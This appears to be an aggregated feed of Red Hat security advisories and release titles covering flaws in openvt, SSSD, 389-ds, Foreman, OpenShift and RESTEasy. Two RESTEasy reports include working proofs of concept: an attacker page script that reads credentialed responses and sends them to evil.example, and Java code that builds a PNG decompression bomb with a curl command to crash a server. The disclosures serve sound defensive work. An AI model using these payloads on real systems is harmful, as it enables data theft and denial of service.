openvt -u is intended to identify the owner of the current VT and then execute login as that user from a privileged context. In the documented kbrequest/init usage, the ownership test in authenticateuser() relies on stat("/proc/<pid>/fd/0"). stat() on /proc/<pid>/fd/0 follows the symlink to the underlying TTY device node. As a result, buf.stuid reflects the owner of the TTY node rather than the owner of the process holding the file descriptor. If the TTY owner returns to root or the getty owner after logout while an unprivileged process still has fd 0 attached to that TTY, the check can incorrectly treat that process as belonging to the privileged console owner. Once that check succeeds, the -u path executes a passwordless login as the selected user. In the documented kbrequest/init deployment using openvt -us, this can result in passwordless login -f root on the spawned VT. This report establishes that privilege escalation path for that documented deployment; it does not claim equivalent reachability for deployments that do not use openvt -u from a privileged kbrequest/init path.

A path traversal flaw was found in SSSD's AD GPO provider. The adgpoextractsmbcomponents() function does not sanitize .. sequences in the gPCFileSysPath LDAP attribute, allowing an attacker with AD GPO management access to write files outside the GPO cache directory as root. On default RHEL configurations with SELinux enforcing, this can be used to inject Kerberos configuration leading to authentication bypass.

EAP's Artemis deserialization configuration permits deserialization by default. ObjectMessage.getObject() uses ObjectInputStreamWithClassLoader, which implements allow-list/block-list filtering via its checkSecurity()/isTrustedType() method. However, by default both allow-list and block-list are empty. When the allow-list is empty (size == 0), isTrustedType() returns true for ALL classes. This means all classes are deserializable by default.

Red Hat Quay 3.12.23

satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview

General availability of the satellite/iop-insights-engine-rhel9 container image

General availability of the satellite/iop-remediations-rhel9 container image

Technical preview of the satellite/iop-vmaas-rhel9 container image

satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview

Technical preview of the satellite/iop-vmaas-rhel9 container image

Important: dovecot security update

Red Hat OpenShift distributed tracing platform (Tempo) 3.11.2 release

Red Hat Quay 3.10.27

A flaw was found in the OpenShift console. An unauthenticated attacker can exploit a path traversal vulnerability by manipulating the lng and ns query parameters in the /locales/resource.json endpoint. This allows the attacker to read sensitive .json files from the pod filesystem, including plugin manifests and configuration files. Furthermore, this flaw can enable path traversal against registered dynamic-plugin backends.

Helm CLI for Red Hat OpenShift 4.3.0 container image release

FIND-001 from Project Glasswing AI-SAST audit of openshift/insights-operator (audit date 2026-06-09, commit unknown). The insights-operator-gather ClusterRole, bound to ServiceAccount openshift-insights, grants cluster-wide get/list on secrets and nodes/proxy. While the operator gathers diagnostic data from the cluster, access to all secrets cluster-wide exceeds what is needed for telemetry collection.

389 Directory Server's SELFDN ACI bind-rule evaluator (ldap/servers/plugins/acl/acllas.c) compares a client's bind DN against a stored attribute value using a plain string comparison. An anonymous LDAP bind has an empty-string client DN, and 389-ds's own DN syntax validator (ldap/servers/plugins/syntaxes/dn.c) accepts zero-length attribute values as valid. As a result, any ACI written as userattr="X#SELFDN", where attribute X can legitimately hold an empty value, is satisfied by an anonymous client with no authentication of any kind.

This was originally reported (PSIRTSUPT-21812) as part of a FreeIPA-specific admin-takeover chain, but independently reproduced standalone against plain 389-ds-base (389-ds-base-3.2.2-2.fc44) with zero FreeIPA schema, plugins, or ACIs present: a minimal test ACI (allow (add) userattr = "owner#SELFDN") was defeated by an anonymous bind with owner: set to an empty value, while a control case (non-empty, non-matching value) was correctly refused. This confirms the defect is general to the ACI evaluation engine, not specific to any consuming application.

Any 389-ds/RHDS deployment that defines a SELFDN-based ACI on an attribute permitted to hold an empty value is affected. Reported and confirmed as part of the PSIRTSUPT-21812 investigation; see linked Jira ticket for full technical writeup and reproduction evidence.

Red Hat Ceph Storage

FIND-001 from Project Glasswing AI-SAST audit of openshift/insights-operator (audit date 2026-06-09, commit unknown). The insights-operator-gather ClusterRole, bound to ServiceAccount openshift-insights, grants cluster-wide get/list on secrets and nodes/proxy. While the operator gathers diagnostic data from the cluster, access to all secrets cluster-wide exceeds what is needed for telemetry collection.

A flaw was found in Foreman. OS command injection vulnerabilities exist in the foreman-rake db:dump and db:importdump tasks. The application fails to properly sanitize user-supplied input in the destination parameter (during backups) and the file parameter (during imports) before passing them to a Ruby system() call for execution. An attacker with permissions to execute foreman-rake (e.g., via a restricted sudo configuration) can append malicious shell commands to the provided file paths.

A flaw was found in Foreman. A command injection vulnerability exists in the foreman-rake errors:fetchlog task. The requestid parameter is passed to an underlying system command (typically grep) without adequate shell neutralization. While the task is intended to fetch specific log entries, an attacker with sudo permissions to execute this rake task can inject shell metacharacters (such as ;, ", or |) to break out of the intended command and execute arbitrary code.

Important: modauthopenidc security update

RESTEasy CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config

| Field | Value | |-------|-------| | Component | resteasy-core (RESTEasy / JBoss / Red Hat) | | Affected version | 7.0.2.Final | | Vulnerable class | org.jboss.resteasy.plugins.interceptors.CorsFilter | | Vulnerability type | CWE-942 Permissive Cross-domain Policy / CWE-346 Origin Validation Error | | Attack vector | Remote, cross-origin (malicious web page) | | Reproduction status | Reproduced |

Summary

CorsFilter defaults allowCredentials = true. When an operator uses the documented "accept all origins" mode by adding "" to getAllowedOrigins(), checkOrigin() accepts any origin, and the response filter reflects the concrete request Origin back in Access-Control-Allow-Origin (not the literal ) together with Access-Control-Allow-Credentials: true. This is exactly the CORS misconfiguration the browser spec forbids for ; RESTEasy re-introduces it by reflecting the concrete origin, allowing any malicious site to perform credentialed cross-origin reads of authenticated responses.

CVSS 3.1

Base score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Root-cause analysis

CorsFilter.java: java protected boolean allowCredentials = true; // line 27 (dangerous default) // checkOrigin (line 170-175): passes if "" present if (!getAllowedOrigins().contains("") && !getAllowedOrigins().contains(origin)) { throw ... } // response filter (line 131-134): reflects concrete origin + credentials responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWORIGIN, origin); if (isAllowCredentials()) responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWCREDENTIALS, "true");

Reproduction

Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21. CorsFilter registered as a singleton with cors.getAllowedOrigins().add(""). Resource: java @Path("/cors") public static class CorsResource { @GET @Produces("text/plain") public String cors(){ return "secret-account-data"; } }

POC bash curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8080/cors | \ grep -i "access-control-allow"

Observed output (actual) Access-Control-Allow-Origin: https://evil.example Access-Control-Allow-Credentials: true

Attacker page html <script> fetch('https://api.victim/cors', {credentials:'include'}) .then(r => r.text()).then(d => fetch('https://evil.example/collect?d='+encodeURIComponent(d))); </script> Because the response carries ACAO: https://evil.example + ACAC: true, the browser hands the authenticated response body to the attacker's script.

Impact Any malicious origin can read authenticated, per-user responses (account data, tokens embedded in responses, CSRF tokens) from a victim's browser session — a full cross-origin confidentiality breach.

Remediation 1. When allowedOrigins contains "" and allowCredentials is true, do not reflect a concrete origin — emit Access-Control-Allow-Origin: and drop credentials (spec behavior), or require an explicit origin allowlist. 2. Default allowCredentials to false.

Important: bind security update

Important: bind9.16 security, bug fix, and enhancement update

RESTEasy IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)

| Field | Value | |-------|-------| | Component | resteasy-core (RESTEasy / JBoss / Red Hat) | | Affected version | 7.0.2.Final | | Vulnerable classes | org.jboss.resteasy.plugins.providers.IIOImageProvider, IIOImageProviderHelper | | Vulnerability type | CWE-400 Uncontrolled Resource Consumption / CWE-1104 (image-decode bomb) | | Attack vector | Remote, unauthenticated HTTP request body | | Reproduction status | Reproduced (OutOfMemoryError from a 68-byte request) |

Summary

IIOImageProvider.readFrom() decodes an attacker-supplied image/ request body into an IIOImage via ImageReader.readAll(imageIndex, null) — with a null ImageReadParam, no dimension/pixel-count check, and no size limit. A tiny image file declaring enormous pixel dimensions forces allocation of a width × height × bytesPerPixel raster, exhausting the JVM heap. Amplification is effectively unbounded (here 68 bytes → 1.6 GB attempted allocation → OutOfMemoryError).

CVSS 3.1

Base score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Root-cause analysis

IIOImageProvider.readFrom (line 118-120) → IIOImageProviderHelper.readImage(entityStream, reader, 0) (line 67-72): java reader.setInput(iis, false); return reader.readAll(imageIndex, null); // null ImageReadParam — no region/subsample/dimension bound The ImageReader is chosen purely from the client MIME type (getImageReadersByMIMEType, line 81). Content-Length is never consulted, and no getWidth()/getHeight() guard precedes decode.

Reproduction

Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21, server started with -Xmx128m. Resource: java @Path("/image") public static class ImageResource { @POST @Consumes("image/") @Produces("text/plain") public String img(IIOImage image) { return "decoded " + image.getRenderedImage().getWidth() + "x" + image.getRenderedImage().getHeight(); } }

POC script — craft a 68-byte PNG declaring 20000×20000 (1.6 GB raster; < 2³¹ bytes to avoid int overflow) java // MakePng.java (javac MakePng.java && java MakePng -> /tmp/bomb.png) import java.io.; import java.util.zip.; public class MakePng { static void chunk(ByteArrayOutputStream o,String t,byte[] d)throws Exception{ o.write(new byte[]{(byte)(d.length>>>24),(byte)(d.length>>>16),(byte)(d.length>>>8),(byte)d.length}); ByteArrayOutputStream b=new ByteArrayOutputStream(); b.write(t.getBytes("US-ASCII")); b.write(d); byte[] tc=b.toByteArray(); o.write(tc); CRC32 c=new CRC32(); c.update(tc); long v=c.getValue(); o.write(new byte[]{(byte)(v>>>24),(byte)(v>>>16),(byte)(v>>>8),(byte)v}); } public static void main(String[] a)throws Exception{ int w=20000,h=20000; ByteArrayOutputStream o=new ByteArrayOutputStream(); o.write(new byte[]{(byte)137,80,78,71,13,10,26,10}); ByteArrayOutputStream ihdr=new ByteArrayOutputStream(); ihdr.write(new byte[]{(byte)(w>>>24),(byte)(w>>>16),(byte)(w>>>8),(byte)w}); ihdr.write(new byte[]{(byte)(h>>>24),(byte)(h>>>16),(byte)(h>>>8),(byte)h}); ihdr.write(new byte[]{8,6,0,0,0}); chunk(o,"IHDR",ihdr.toByteArray()); Deflater d=new Deflater(); d.setInput(new byte[16]); d.finish(); byte[] buf=new byte[64]; int n=d.deflate(buf); chunk(o,"IDAT",java.util.Arrays.copyOf(buf,n)); chunk(o,"IEND",new byte[0]); try(FileOutputStream f=new FileOutputStream("/tmp/bomb.png")){ f.write(o.toByteArray()); } } } bash curl -s -o /dev/null -w "status=%{httpcode} time=%{timetotal}s\n" \ -X POST -H "Content-Type: image/png" --data-binary @/tmp/bomb.png http://127.0.0.1:8080/image

Observed output (actual) Server log: Caused by: java.lang.OutOfMemoryError: Java heap space at ... at javax.imageio.ImageReader.readAll(ImageReader.java:1065) at org.jboss.resteasy.plugins.providers.IIOImageProviderHelper.readImage(IIOImageProviderHelper.java:71) at org.jboss.resteasy.plugins.providers.IIOImageProvider.readFrom(IIOImageProvider.java:120) A single 68-byte request forced a ~1.6 GB allocation → OutOfMemoryError. Under concurrency (or on a constrained heap) this exhausts the server heap and denies service.

Impact Unauthenticated, high-amplification memory-exhaustion DoS on any endpoint consuming IIOImage.

Remediation Read the header dimensions first (reader.getWidth(0)/getHeight(0)) and reject images whose pixel count exceeds a configurable maximum before readAll; enforce a maximum request-entity size for image endpoints.

Important: cjose security update

Important: dracut security, bug fix, and enhancement update

The below issue was reported to ProdSec by Simon Pasquier:

In OCP, the telemeter-client pod running in the openshift-monitoring has an annotation containing the cluster's pull secret for the cloud.openshift.com and quay.io registries.

The cause of the bug is that we use the token string concatenated with the hash [2] instead of writing the token string to the hash object and calling Sum() with a nil slice.

The impact is that any user which can read the definition of the telemeter-client pod and/or deployment gets access to the pull secret token. Users with permissions from the cluster-reader clusterrole already have access to the original pull secret because they can read the "pull-secret" Secret in the openshift-config namespace.

The issue has been present since OCP 4.12 [3] [4].

[1] https://issues.redhat.com/browse/OCPBUGS-28650 [2] https://github.com/openshift/cluster-monitoring-operator/blob/d45a3335c2bbada0948adef9fcba55c4e14fa1d7/pkg/manifests/manifests.go#L3135 [3] https://bugzilla.redhat.com/showbug.cgi?id=2114721 [4] https://github.com/openshift/cluster-monitoring-operator/pull/1747

Important: OpenShift Container Platform 4.16.72 bug fix update